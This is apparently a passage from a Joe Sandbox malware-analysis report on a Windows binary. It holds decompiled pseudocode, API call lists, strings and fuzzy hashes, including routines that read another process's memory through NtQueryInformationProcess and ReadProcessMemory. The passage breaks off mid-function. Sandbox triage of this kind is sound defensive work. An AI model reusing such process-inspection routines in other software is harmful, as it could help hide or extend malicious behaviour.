0x7ff7af7187f5
0x7ff7af7187fe
0x7ff7af718800
0x7ff7af71880f
0x7ff7af718817
0x7ff7af71881e
0x7ff7af718826
0x7ff7af71882d
0x7ff7af718835
0x7ff7af718837
0x7ff7af71883d
0x7ff7af718844
0x7ff7af718846
0x7ff7af718849
0x7ff7af71884c
0x7ff7af71884f
0x7ff7af718851
0x7ff7af718855
0x7ff7af718858
0x7ff7af71885a
0x7ff7af71885d
0x7ff7af718862
0x7ff7af718866
0x7ff7af71886a
0x7ff7af71886c
0x7ff7af718871
0x7ff7af718877
0x7ff7af71887c
0x7ff7af718881
0x7ff7af718887
0x7ff7af718892
0x7ff7af718899
0x7ff7af71889d
0x7ff7af71889f
0x7ff7af7188a4
0x7ff7af7188aa
0x7ff7af7188af
0x7ff7af7188b4
0x7ff7af7188b7
0x7ff7af7188b9
0x7ff7af7188bf
0x7ff7af7188c5
0x7ff7af7188ca
0x7ff7af7188cf
0x7ff7af7188d4
0x7ff7af7188d9
0x7ff7af7188e2
0x7ff7af7188ea
0x7ff7af7188f0
0x7ff7af7188f3
0x7ff7af7188f7
0x7ff7af7188fa
0x7ff7af7188fd
0x7ff7af718903
0x7ff7af718908
0x7ff7af71890a
0x7ff7af71890f
0x7ff7af718912
0x7ff7af718915
0x7ff7af71891b
0x7ff7af71891d
0x7ff7af718920
0x7ff7af718923
0x7ff7af718925
0x7ff7af718928
0x7ff7af71892b
0x7ff7af718931
0x7ff7af718933
0x7ff7af718938
0x7ff7af718940
0x7ff7af718947
0x7ff7af71894f
0x7ff7af718956
0x7ff7af718961
0x7ff7af718966
0x7ff7af71896f
0x7ff7af718971
0x7ff7af718974
0x7ff7af718979
0x7ff7af71897c
0x7ff7af71897f
0x7ff7af71898a
0x7ff7af71898f
0x7ff7af718997
0x7ff7af71899e
0x7ff7af7189a6
0x7ff7af7189ad
0x7ff7af7189b8
0x7ff7af7189ba
0x7ff7af7189bd
0x7ff7af7189c2
0x7ff7af7189c5
0x7ff7af7189c8
0x7ff7af7189ce
0x7ff7af7189d5
0x7ff7af7189da
0x7ff7af7189dd
0x7ff7af7189e2
0x7ff7af7189e6
0x7ff7af7189e8
0x7ff7af7189ed
0x7ff7af7189f3
0x7ff7af7189f8
0x7ff7af7189fb
0x7ff7af7189fd
0x7ff7af718a03
0x7ff7af718a06
0x7ff7af718a0b
0x7ff7af718a0f
0x7ff7af718a11
0x7ff7af718a16
0x7ff7af718a1c
0x7ff7af718a24
0x7ff7af718a26
0x7ff7af718a30
0x7ff7af718a38
0x7ff7af718a3d
0x7ff7af718a41
0x7ff7af718a44
0x7ff7af718a49
0x7ff7af718a4b
0x7ff7af718a54
0x7ff7af718a5f
0x7ff7af718a73
0x7ff7af718a78
0x7ff7af718a7a
0x7ff7af718a82
0x7ff7af718a85
0x7ff7af718a87
0x7ff7af718a8d
0x7ff7af718a94
0x7ff7af718a9b
0x7ff7af718aa2
0x7ff7af718aa7
0x7ff7af718aaf
0x7ff7af718ab4
0x7ff7af718ab9
0x7ff7af718ad4

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718627
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF7186FD

Strings

0, xrefs: 00007FF7AF71872C
0, xrefs: 00007FF7AF7187E5
0, xrefs: 00007FF7AF7187FB
0, xrefs: 00007FF7AF71873E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0$0$0
API String ID: 3215553584-3558443385
Opcode ID: 4d9b09009288e71689d315c84cd6b742ffbf1d26668c1ef3f4283431c428e333
Instruction ID: bb8fe89fb4e458d5b87223d2591eb7967c84dc3115c556d79da05c9106552039
Opcode Fuzzy Hash: 4d9b09009288e71689d315c84cd6b742ffbf1d26668c1ef3f4283431c428e333
Instruction Fuzzy Hash: 6FF1C63A91FEC686F751AA1584502FDFB95AB19B80FCA8131C78C473B1CE2DA46DC325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D5140 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 244libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AF6D4B80: GetSystemDirectoryW.KERNEL32 ref: 00007FF7AF6D4BCE
Part of subcall function 00007FF7AF6D4B80: LoadLibraryExW.KERNEL32 ref: 00007FF7AF6D4C9D
Part of subcall function 00007FF7AF6D4B80: GetLastError.KERNEL32 ref: 00007FF7AF6D4CDB

GetProcAddress.KERNEL32 ref: 00007FF7AF6D51B3
ReadProcessMemory.KERNEL32 ref: 00007FF7AF6D520F
ReadProcessMemory.KERNEL32 ref: 00007FF7AF6D527A
GetLastError.KERNEL32 ref: 00007FF7AF6D54F3
FreeLibrary.KERNEL32 ref: 00007FF7AF6D552E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D5563

Strings

NtQueryInformationProcess, xrefs: 00007FF7AF6D51AC

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorLastLibraryMemoryProcessRead$AddressDirectoryFreeLoadProcSystem_invalid_parameter_noinfo_noreturn
String ID: NtQueryInformationProcess
API String ID: 2371894688-2781105232
Opcode ID: fe50cb29a9384a7aeb59f5d12ec4bbd22e3d99f66ed83045bed3b64a9825bac8
Instruction ID: c4e53b4bb3b374b845de93b59948e91a2b18ff522fafde239f87034056fc50d7
Opcode Fuzzy Hash: fe50cb29a9384a7aeb59f5d12ec4bbd22e3d99f66ed83045bed3b64a9825bac8
Instruction Fuzzy Hash: 63C17222A19BC286EB20DF20E8843EC7365FB44788F815236DA8D17E69DF7CD5A5C354

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D13D0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7AF6D13D0(long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* _t14;
				signed long long _t22;
				long long* _t27;
				intOrPtr _t31;
				intOrPtr _t35;
				void* _t36;

				if (__rcx == __rdx) goto 0xaf6d1458;
				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __rcx + 0x18;
				_t22 =  *_t27;
				if (_t22 - 8 < 0) goto 0xaf6d142d;
				_t31 =  *((intOrPtr*)(_t27 - 0x18));
				if (2 + _t22 * 2 - 0x1000 < 0) goto 0xaf6d1422;
				_t35 =  *((intOrPtr*)(_t31 - 8));
				if (_t31 - _t35 - 8 - 0x1f > 0) goto 0xaf6d1459;
				if (_t35 == 0) goto 0xaf6d142d;
				_t14 = LocalFree(_t36);
				 *((short*)(_t27 - 0x18)) = 0;
				 *((long long*)(_t27 - 8)) = __rsi;
				 *_t27 = 7;
				if (_t27 + 0x20 - 0x18 != __rdx) goto 0xaf6d13f1;
				return _t14;
			}

0x7ff7af6d13d3
0x7ff7af6d13d9
0x7ff7af6d13de
0x7ff7af6d13eb
0x7ff7af6d13f1
0x7ff7af6d13f8
0x7ff7af6d1402
0x7ff7af6d140c
0x7ff7af6d140e
0x7ff7af6d141d
0x7ff7af6d1425
0x7ff7af6d1427
0x7ff7af6d142d
0x7ff7af6d1431
0x7ff7af6d1435
0x7ff7af6d1447
0x7ff7af6d1458

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6D1427
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D1459

Strings

vector too long, xrefs: 00007FF7AF6D16C4

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal_invalid_parameter_noinfo_noreturn
String ID: vector too long
API String ID: 195334829-2873823879
Opcode ID: be4ed81bed2ea3821b5ffbb411c8ca2ec16cbc28a491c7c5a52c2e39afc94dd3
Instruction ID: 2d113efadf73150b42c8f53525364d6b12d639800c8a156b4e08c16ccbaa52d0
Opcode Fuzzy Hash: be4ed81bed2ea3821b5ffbb411c8ca2ec16cbc28a491c7c5a52c2e39afc94dd3
Instruction Fuzzy Hash: 1751BA22B16A8189FB14EB61E8443ECB3B5FB48B88F965536DE4D03B65CF78D491C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D5650 Relevance: 15.1, APIs: 10, Instructions: 123timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF7AF6D56A0
OpenProcess.KERNEL32 ref: 00007FF7AF6D56BB
GetProcessTimes.KERNEL32 ref: 00007FF7AF6D56FD
GetProcessTimes.KERNEL32 ref: 00007FF7AF6D5719
CloseHandle.KERNEL32 ref: 00007FF7AF6D573A
CloseHandle.KERNEL32 ref: 00007FF7AF6D5758
CloseHandle.KERNEL32 ref: 00007FF7AF6D5788
CloseHandle.KERNEL32 ref: 00007FF7AF6D57A9
CloseHandle.KERNEL32 ref: 00007FF7AF6D57CF
CloseHandle.KERNEL32 ref: 00007FF7AF6D57E9

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: 754463988990a43405ab48a07cf2a44596d63f103818cd8cbd8757a03e03dca5
Instruction ID: 98c0c5e5b6c905ee551be503de9bf83d11b087e2a31f39dad7b729dba2fc0d23
Opcode Fuzzy Hash: 754463988990a43405ab48a07cf2a44596d63f103818cd8cbd8757a03e03dca5
Instruction Fuzzy Hash: 0D51713AA06A52D6F714EB21A9547F8B3A5BB087A8FD51231CD1D03BA4DF3D9454C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF72468C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF7AF72468C(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				void* _t37;
				signed long long _t57;
				intOrPtr _t61;
				signed long long _t72;
				void* _t75;
				signed long long _t76;
				long long _t82;
				void* _t86;
				signed long long _t90;
				signed long long _t91;
				WCHAR* _t93;
				long _t96;
				void* _t99;
				WCHAR* _t104;

				 *((long long*)(_t86 + 8)) = __rbx;
				 *((long long*)(_t86 + 0x10)) = _t82;
				 *((long long*)(_t86 + 0x18)) = __rsi;
				r15d = __ecx;
				_t90 =  *0xaf751030; // 0xa13e9e6732fb
				_t76 = _t75 | 0xffffffff;
				_t72 = _t90 ^  *(0x7ff7af6d0000 + 0x843b0 + _t104 * 8);
				asm("dec eax");
				if (_t72 == _t76) goto 0xaf7247d2;
				if (_t72 == 0) goto 0xaf7246f5;
				_t57 = _t72;
				goto 0xaf7247d4;
				if (__r8 == __r9) goto 0xaf7247b7;
				_t61 =  *((intOrPtr*)(0x7ff7af6d0000 + 0x84310 + __rsi * 8));
				if (_t61 == 0) goto 0xaf72471c;
				if (_t61 != _t76) goto 0xaf724811;
				goto 0xaf7247a3;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t99, _t96);
				if (_t57 != 0) goto 0xaf7247f1;
				if (GetLastError() != 0x57) goto 0xaf724791;
				_t14 = _t57 - 0x50; // -80
				_t37 = _t14;
				r8d = _t37;
				if (E00007FF77FF7AF70FA9C(_t90) == 0) goto 0xaf724791;
				r8d = _t37;
				if (E00007FF77FF7AF70FA9C(_t90) == 0) goto 0xaf724791;
				r8d = 0;
				LoadLibraryExW(_t93, _t75);
				if (_t57 != 0) goto 0xaf7247f1;
				 *((intOrPtr*)(0x7ff7af6d0000 + 0x84310 + __rsi * 8)) = _t76;
				if (__r8 + 4 != __r9) goto 0xaf7246fe;
				_t91 =  *0xaf751030; // 0xa13e9e6732fb
				asm("dec eax");
				 *(0x7ff7af6d0000 + 0x843b0 + _t104 * 8) = _t76 ^ _t91;
				return 0;
			}

0x7ff7af72468c
0x7ff7af724691
0x7ff7af724696
0x7ff7af7246a8
0x7ff7af7246c3
0x7ff7af7246ca
0x7ff7af7246d4
0x7ff7af7246dc
0x7ff7af7246e2
0x7ff7af7246eb
0x7ff7af7246ed
0x7ff7af7246f0
0x7ff7af7246f8
0x7ff7af724701
0x7ff7af72470c
0x7ff7af724711
0x7ff7af724717
0x7ff7af724729
0x7ff7af72472f
0x7ff7af72473b
0x7ff7af72474a
0x7ff7af72474c
0x7ff7af72474c
0x7ff7af724752
0x7ff7af724763
0x7ff7af724765
0x7ff7af724779
0x7ff7af72477b
0x7ff7af724783
0x7ff7af72478f
0x7ff7af72479b
0x7ff7af7247aa
0x7ff7af7247b0
0x7ff7af7247c4
0x7ff7af7247ca
0x7ff7af7247f0

APIs

FreeLibrary.KERNEL32(?,00000000,00007FF7AF724874,?,?,00000000,00007FF7AF727B04,?,?,?,?,?,?,?), ref: 00007FF7AF72480B
GetProcAddress.KERNEL32(?,00000000,00007FF7AF724874,?,?,00000000,00007FF7AF727B04,?,?,?,?,?,?,?), ref: 00007FF7AF724817

Strings

api-ms-, xrefs: 00007FF7AF724755
0123456789abcdefghjkmnpqrstvwxyz, xrefs: 00007FF7AF7246A2
ext-ms-, xrefs: 00007FF7AF724768

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: 0123456789abcdefghjkmnpqrstvwxyz$api-ms-$ext-ms-
API String ID: 3013587201-246206221
Opcode ID: 6f63a05c9fd38be78b06ab468995082a8762bb792787713ae9baf7d1dec641b3
Instruction ID: 3d272d867995341347957b95a269b8d436eb74398060b8844236d9997c0fad0e
Opcode Fuzzy Hash: 6f63a05c9fd38be78b06ab468995082a8762bb792787713ae9baf7d1dec641b3
Instruction Fuzzy Hash: 9D41F62971BA9291FA25EB16AC041F5A291FF4D7E0FC64135ED1D47769EE3CE4048360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EA0B0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF77FF7AF6EA0B0(long long __rbx, void* __rcx, long long __rsi, void* __r8) {
				void* _t25;
				void* _t26;
				long long _t31;
				long long* _t33;
				void* _t34;
				void* _t47;
				void* _t55;
				long long _t57;
				void* _t58;
				long long _t60;
				void* _t64;

				_t63 = __r8;
				_t32 = __rbx;
				_t31 = _t60;
				 *((long long*)(_t31 + 8)) = __rbx;
				 *((long long*)(_t31 + 0x10)) = _t57;
				 *((long long*)(_t31 + 0x18)) = __rsi;
				_t55 = __rcx;
				_t58 = __r8;
				E00007FF77FF7AF6E8FC0(_t31, __rbx, _t31 - 0x38, _t64);
				asm("movups xmm0, [eax]");
				asm("movups [esi+0x2c], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [esi+0x3c], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [esi+0x4c], xmm0");
				 *((intOrPtr*)(__rcx + 0x54)) =  *((intOrPtr*)(_t31 + 0x28));
				E00007FF77FF7AF71A54C(_t26, _t32, _t47, __rcx, __r8);
				_t7 = _t58 + 0x28; // 0x28
				_t33 = _t7;
				if (_t31 == 0) goto 0xaf6ea116;
				E00007FF77FF7AF6EC418(_t31, _t33, _t33, _t31, _t55, _t58);
				E00007FF77FF7AF70F228(_t33, _t31, _t31, _t55, _t58, _t63);
				_t41 =  !=  ?  *_t33 : L":Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday";
				E00007FF77FF7AF6F93B4(_t31, _t33,  !=  ?  *_t33 : L":Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday", _t55, _t58);
				 *((long long*)(_t55 + 0x10)) = _t31;
				E00007FF77FF7AF71A6D8( *_t33, _t33, _t31, _t55, _t63);
				_t9 = _t58 + 0x38; // 0x38
				_t34 = _t9;
				if (_t31 == 0) goto 0xaf6ea152;
				E00007FF77FF7AF6EC418(_t31, _t34, _t34, _t31, _t55, _t58);
				E00007FF77FF7AF70F228(_t34, _t31, _t31, _t55, _t58, _t63);
				_t45 =  !=  ?  *_t34 : L":Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December";
				E00007FF77FF7AF6F93B4(_t31, _t34,  !=  ?  *_t34 : L":Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December", _t55, _t58);
				 *((long long*)(_t55 + 0x18)) = _t31;
				_t25 = E00007FF77FF7AF6F93B4(_t31, _t34, L":AM:am:PM:pm", _t55, _t58);
				 *((long long*)(_t55 + 0x20)) = _t31;
				return _t25;
			}

0x7ff7af6ea0b0
0x7ff7af6ea0b0
0x7ff7af6ea0b0
0x7ff7af6ea0b3
0x7ff7af6ea0b7
0x7ff7af6ea0bb
0x7ff7af6ea0c4
0x7ff7af6ea0c7
0x7ff7af6ea0ce
0x7ff7af6ea0d3
0x7ff7af6ea0d6
0x7ff7af6ea0da
0x7ff7af6ea0de
0x7ff7af6ea0e2
0x7ff7af6ea0e7
0x7ff7af6ea0ef
0x7ff7af6ea0f2
0x7ff7af6ea0f7
0x7ff7af6ea0f7
0x7ff7af6ea101
0x7ff7af6ea109
0x7ff7af6ea111
0x7ff7af6ea121
0x7ff7af6ea125
0x7ff7af6ea12a
0x7ff7af6ea12e
0x7ff7af6ea133
0x7ff7af6ea133
0x7ff7af6ea13d
0x7ff7af6ea145
0x7ff7af6ea14d
0x7ff7af6ea15d
0x7ff7af6ea161
0x7ff7af6ea16d
0x7ff7af6ea171
0x7ff7af6ea180
0x7ff7af6ea18e

APIs

_Yarn.LIBCPMT ref: 00007FF7AF6EA109
std::_Maklocwcs.LIBCPMT ref: 00007FF7AF6EA125
_Yarn.LIBCPMT ref: 00007FF7AF6EA145
std::_Maklocwcs.LIBCPMT ref: 00007FF7AF6EA161
std::_Maklocwcs.LIBCPMT ref: 00007FF7AF6EA171

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF7AF6EA11A
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece, xrefs: 00007FF7AF6EA156
:AM:am:PM:pm, xrefs: 00007FF7AF6EA166

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Maklocwcsstd::_$Yarn
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1194159078-3743323925
Opcode ID: 4661fe872642086afaab461ce51ef69b18bb13c8336c72ef0b22f2ec46620fd7
Instruction ID: 4e84baee9a94a52b2a286cdbc9f51443dfb314ded03b7b10a827fa11880fac61
Opcode Fuzzy Hash: 4661fe872642086afaab461ce51ef69b18bb13c8336c72ef0b22f2ec46620fd7
Instruction Fuzzy Hash: E3214126A06B8186EB10EB25E8413F9B3A5EB89B80F865131DA8D43766DF3CE144C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D9E00 Relevance: 13.7, APIs: 9, Instructions: 205
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00007FF77FF7AF6D9E00(long long __rbx, long long* __rcx, void* __rdx, long long __rdi, long long __r12) {
				void* _t30;
				long long _t51;
				long long _t58;
				intOrPtr _t59;
				unsigned long long _t65;
				intOrPtr _t67;
				signed long long _t71;
				long long _t81;
				void* _t83;
				long long _t86;
				unsigned long long _t87;
				void* _t89;
				void* _t90;
				signed long long _t94;
				int _t96;
				signed long long _t97;
				int _t99;

				 *((long long*)(_t89 + 0x20)) = __rbx;
				_t90 = _t89 - 0x20;
				_t97 =  *(__rcx + 0x10);
				r15d = r9b & 0xffffffff;
				if (0xffffffff - _t97 - __rdx < 0) goto 0xaf6d9f68;
				 *((long long*)(_t90 + 0x40)) = _t86;
				_t87 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(_t90 + 0x48)) = __rdi;
				 *((long long*)(_t90 + 0x50)) = __r12;
				_t94 = _t97 + __rdx;
				_t71 = _t94 | 0x0000000f;
				if (_t71 - 0xffffffff > 0) goto 0xaf6d9e8f;
				_t65 = _t87 >> 1;
				if (_t87 - 0xffffffff - _t65 > 0) goto 0xaf6d9e8f;
				_t58 =  <  ? _t65 + _t87 : _t71;
				_t51 = _t58 + 1;
				if (_t51 - 0x1000 < 0) goto 0xaf6d9ebf;
				if (_t51 + 0x27 - _t51 <= 0) goto 0xaf6d9f6e;
				goto 0xaf6d9e9d;
				LocalAlloc(_t99);
				if (_t51 == 0) goto 0xaf6d9f74;
				_t11 = _t51 + 0x27; // 0x27
				 *((long long*)((_t11 & 0xffffffe0) - 8)) = _t51;
				goto 0xaf6d9ed9;
				if (_t51 == 0) goto 0xaf6d9ed7;
				LocalAlloc(_t96);
				_t81 = _t51;
				goto 0xaf6d9ed9;
				 *(__rcx + 0x10) = _t94;
				 *((long long*)(__rcx + 0x18)) = _t58;
				if (_t87 - 0x10 < 0) goto 0xaf6d9f32;
				_t59 =  *((intOrPtr*)(__rcx));
				E00007FF77FF7AF70AFB0();
				 *((intOrPtr*)(_t97 + _t81)) = r15b;
				 *((char*)(_t97 + _t81 + 1)) = 0;
				if (_t87 + 1 - 0x1000 < 0) goto 0xaf6d9f22;
				_t67 =  *((intOrPtr*)(_t59 - 8));
				_t20 = _t59 - _t67 - 8; // 0x7ffffffffffffff7
				if (_t20 - 0x1f > 0) goto 0xaf6d9f74;
				if (_t67 == 0) goto 0xaf6d9f44;
				_t30 = LocalFree(_t83);
				goto 0xaf6d9f44;
				E00007FF77FF7AF70AFB0();
				 *((intOrPtr*)(_t97 + _t81)) = r15b;
				 *((char*)(_t97 + _t81 + 1)) = 0;
				 *__rcx = _t81;
				return _t30;
			}

0x7ff7af6d9e00
0x7ff7af6d9e0a
0x7ff7af6d9e0e
0x7ff7af6d9e1f
0x7ff7af6d9e2c
0x7ff7af6d9e32
0x7ff7af6d9e37
0x7ff7af6d9e3b
0x7ff7af6d9e40
0x7ff7af6d9e45
0x7ff7af6d9e4c
0x7ff7af6d9e53
0x7ff7af6d9e5b
0x7ff7af6d9e64
0x7ff7af6d9e70
0x7ff7af6d9e74
0x7ff7af6d9e7e
0x7ff7af6d9e87
0x7ff7af6d9e8d
0x7ff7af6d9ea2
0x7ff7af6d9eab
0x7ff7af6d9eb1
0x7ff7af6d9eb9
0x7ff7af6d9ebd
0x7ff7af6d9ec2
0x7ff7af6d9ecc
0x7ff7af6d9ed2
0x7ff7af6d9ed5
0x7ff7af6d9ed9
0x7ff7af6d9ee0
0x7ff7af6d9eeb
0x7ff7af6d9eed
0x7ff7af6d9ef3
0x7ff7af6d9efc
0x7ff7af6d9f00
0x7ff7af6d9f0c
0x7ff7af6d9f0e
0x7ff7af6d9f15
0x7ff7af6d9f1d
0x7ff7af6d9f25
0x7ff7af6d9f2a
0x7ff7af6d9f30
0x7ff7af6d9f35
0x7ff7af6d9f3a
0x7ff7af6d9f3e
0x7ff7af6d9f44
0x7ff7af6d9f67

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6D9EA2
LocalAlloc.KERNEL32 ref: 00007FF7AF6D9ECC
LocalFree.KERNEL32 ref: 00007FF7AF6D9F2A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6D9F6E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D9F74
LocalAlloc.KERNEL32 ref: 00007FF7AF6D9FE3
LocalFree.KERNEL32 ref: 00007FF7AF6DA0E8

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Free$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3693994602-0
Opcode ID: e6fad6e3ade9ef5deb9d28a700ada9528b72d8eca6cd2d586c64bb34c6ce125d
Instruction ID: e57da22df31fe199901df439737b7f0aa65db7776f445e5c84e29cb0f6fd8c51
Opcode Fuzzy Hash: e6fad6e3ade9ef5deb9d28a700ada9528b72d8eca6cd2d586c64bb34c6ce125d
Instruction Fuzzy Hash: F971F26270BBC181EA14EB25E4442A9E3AAEB48BD4F955632DF6D077A5DF3CD0A1C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF717BCC Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7AF717BCC(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, void* __r10, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
